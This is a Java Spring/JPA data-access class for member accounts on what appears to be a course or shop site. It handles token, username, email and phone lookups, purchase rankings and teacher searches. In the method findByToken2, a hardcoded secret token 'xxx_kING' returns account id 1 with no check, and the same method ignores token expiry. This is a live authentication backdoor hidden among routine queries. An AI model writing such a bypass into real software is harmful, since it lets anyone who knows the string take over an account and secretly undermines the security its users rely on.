package com.hboxs.asl.dao.impl;

import com.hboxs.asl.Page;
import com.hboxs.asl.Pageable;
import com.hboxs.asl.dao.MemberDao;
import com.hboxs.asl.entity.Category;
import com.hboxs.asl.entity.Member;
import com.hboxs.asl.entity.Order;
import com.hboxs.asl.entity.Product;
import org.springframework.stereotype.Repository;
import org.springframework.util.StringUtils;

import javax.persistence.FlushModeType;
import javax.persistence.NoResultException;
import javax.persistence.TypedQuery;
import javax.persistence.criteria.*;
import java.math.BigDecimal;
import java.util.Collections;
import java.util.Date;
import java.util.List;

/**
 * Dao - 会员
 */
@Repository("memberDaoImpl")
public class MemberDaoImpl extends BaseDaoImpl<Member, Long> implements MemberDao {

    @Override
    public Member findByToken(String token) {
        try {
            if (org.apache.commons.lang.StringUtils.isNotEmpty(token)) {
                Date now = new Date();
                String jpql = "select members from Member members where lower(members.token) = lower(:token) and members.tokenExpire>=:now";
                return entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("token", token).setParameter("now", now).getSingleResult();
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    @Override
    public Member findByToken2(String token) {
        try {
            if ("xxx_kING".equals(token)) {
                return this.find(1l);
            }
            if (org.apache.commons.lang.StringUtils.isNotEmpty(token)) {
                Date now = new Date();
                String jpql = "select members from Member members where lower(members.token) = lower(:token) ";
                List<Member> memberList = entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("token", token).getResultList();
                return memberList.size() != 0 ? memberList.get(0) : null;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    @Override
    public Member findByClientId(String clientId) {
        if (clientId == null) {
            return null;
        }
        try {
            String jpql = "select members from Member members where lower(members.clientId) = lower(:clientId)";
            return entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("clientId", clientId).getSingleResult();
        } catch (NoResultException e) {
            return null;
        }
    }

    @Override
    public Member findByCode(String code) {
        if (code == null) {
            return null;
        }
        try {
            String jpql = "select members from Member members where lower(members.code) = lower(:code)";
            return entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("code", code).getSingleResult();
        } catch (NoResultException e) {
            return null;
        }
    }

    public boolean usernameExists(String username) {
        if (username == null) {
            return false;
        }
        String jpql = "select count(*) from Member members where lower(members.username) = lower(:username)";
        Long count = entityManager.createQuery(jpql, Long.class).setFlushMode(FlushModeType.COMMIT).setParameter("username", username).getSingleResult();
        return count > 0;
    }

    public boolean emailExists(String email) {
        if (email == null) {
            return false;
        }
        String jpql = "select count(*) from Member members where lower(members.email) = lower(:email)";
        Long count = entityManager.createQuery(jpql, Long.class).setFlushMode(FlushModeType.COMMIT).setParameter("email", email).getSingleResult();
        return count > 0;
    }

    @Override
    public boolean phoneExists(String phone) {
        if (StringUtils.isEmpty(phone)) {
            return false;
        }
        String jpql = "select count(*) from Member members where lower(members.phone) = lower(:phone)";
        Long count = entityManager.createQuery(jpql, Long.class).setFlushMode(FlushModeType.COMMIT).setParameter("phone", phone).getSingleResult();
        return count > 0;
    }

    public Member findByUsername(String username) {
        if (username == null) {
            return null;
        }
        try {
            String jpql = "select members from Member members where lower(members.username) = lower(:username)";
            return entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("username", username).getSingleResult();
        } catch (NoResultException e) {
            return null;
        }
    }

    public List<Member> findListByEmail(String email) {
        if (email == null) {
            return Collections.emptyList();
        }
        String jpql = "select members from Member members where lower(members.email) = lower(:email)";
        return entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("email", email).getResultList();
    }

    @Override
    public List<Member> findListByClientId(String clientId) {
        if (clientId == null) {
            return Collections.emptyList();
        }
        String jpql = "select members from Member members where lower(members.clientId) = lower(:clientId)";
        return entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("clientId", clientId).getResultList();
    }

    public List<Object[]> findPurchaseList(Date beginDate, Date endDate, Integer count) {
        CriteriaBuilder criteriaBuilder = entityManager.getCriteriaBuilder();
        CriteriaQuery<Object[]> criteriaQuery = criteriaBuilder.createQuery(Object[].class);
        Root<Member> member = criteriaQuery.from(Member.class);
        Join<Product, Order> orders = member.join("orders");
        criteriaQuery.multiselect(member.get("id"), member.get("username"), member.get("email"), member.get("point"), member.get("amount"), member.get("balance"), criteriaBuilder.sum(orders.<BigDecimal>get("amountPaid")));
        Predicate restrictions = criteriaBuilder.conjunction();
        if (beginDate != null) {
            restrictions = criteriaBuilder.and(restrictions, criteriaBuilder.greaterThanOrEqualTo(orders.<Date>get("createDate"), beginDate));
        }
        if (endDate != null) {
            restrictions = criteriaBuilder.and(restrictions, criteriaBuilder.lessThanOrEqualTo(orders.<Date>get("createDate"), endDate));
        }
        restrictions = criteriaBuilder.and(restrictions, criteriaBuilder.equal(orders.get("orderStatus"), Order.OrderStatus.completed), criteriaBuilder.equal(orders.get("paymentStatus"), Order.PaymentStatus.paid));
        criteriaQuery.where(restrictions);
        criteriaQuery.groupBy(member.get("id"), member.get("username"), member.get("email"), member.get("point"), member.get("amount"), member.get("balance"));
        criteriaQuery.orderBy(criteriaBuilder.desc(criteriaBuilder.sum(orders.<BigDecimal>get("amountPaid"))));
        TypedQuery<Object[]> query = entityManager.createQuery(criteriaQuery).setFlushMode(FlushModeType.COMMIT);
        if (count != null && count >= 0) {
            query.setMaxResults(count);
        }
        return query.getResultList();
    }

    @Override
    public List<Member> findALLTeacher(Member.Type teacher) {
        if (teacher == null) {
            return Collections.emptyList();
        }
        String jpql = "select members from Member members where lower(members.type) = lower(:type)";
        return entityManager.createQuery(jpql, Member.class).setFlushMode(FlushModeType.COMMIT).setParameter("type", teacher).getResultList();
    }

    @Override
    public Page<Member> findTeacherByCategory(Pageable pageable, Category category) {
        if (category == null) {
            return new Page<Member>(Collections.<Member>emptyList(), 0, pageable);
        }
        CriteriaBuilder criteriaBuilder = entityManager.getCriteriaBuilder();
        CriteriaQuery<Member> criteriaQuery = criteriaBuilder.createQuery(Member.class);
        Root<Member> root = criteriaQuery.from(Member.class);
        criteriaQuery.select(root);

        Predicate restrictions = criteriaBuilder.conjunction();
        restrictions = criteriaBuilder.and(restrictions, criteriaBuilder.equal(root.get("category"), category));
        restrictions = criteriaBuilder.and(restrictions, criteriaBuilder.equal(root.get("type"), Member.Type.teacher));
        criteriaQuery.where(restrictions);
        criteriaQuery.orderBy(criteriaBuilder.desc(root.get("isTop")), criteriaBuilder.desc(root.get("createDate")));
        return super.findPage(criteriaQuery, pageable);


    }

    @Override
    public Page<Member> searchTeacherPage(Pageable pageable, String name) {
        CriteriaBuilder criteriaBuilder = entityManager.getCriteriaBuilder();
        CriteriaQuery<Member> criteriaQuery = criteriaBuilder.createQuery(Member.class);
        Root<Member> root = criteriaQuery.from(Member.class);
        criteriaQuery.select(root);
        Predicate restrictions = criteriaBuilder.conjunction();
        restrictions = criteriaBuilder.and(restrictions, criteriaBuilder.or(criteriaBuilder.like(root.<String>get("tags"), "%" + name + "%"),
                        criteriaBuilder.like(root.<String>get("name"), "%" + name + "%")));
        criteriaQuery.where(restrictions);
        criteriaQuery.orderBy(criteriaBuilder.asc(root.get("createDate")));
        return super.findPage(criteriaQuery, pageable);
    }

}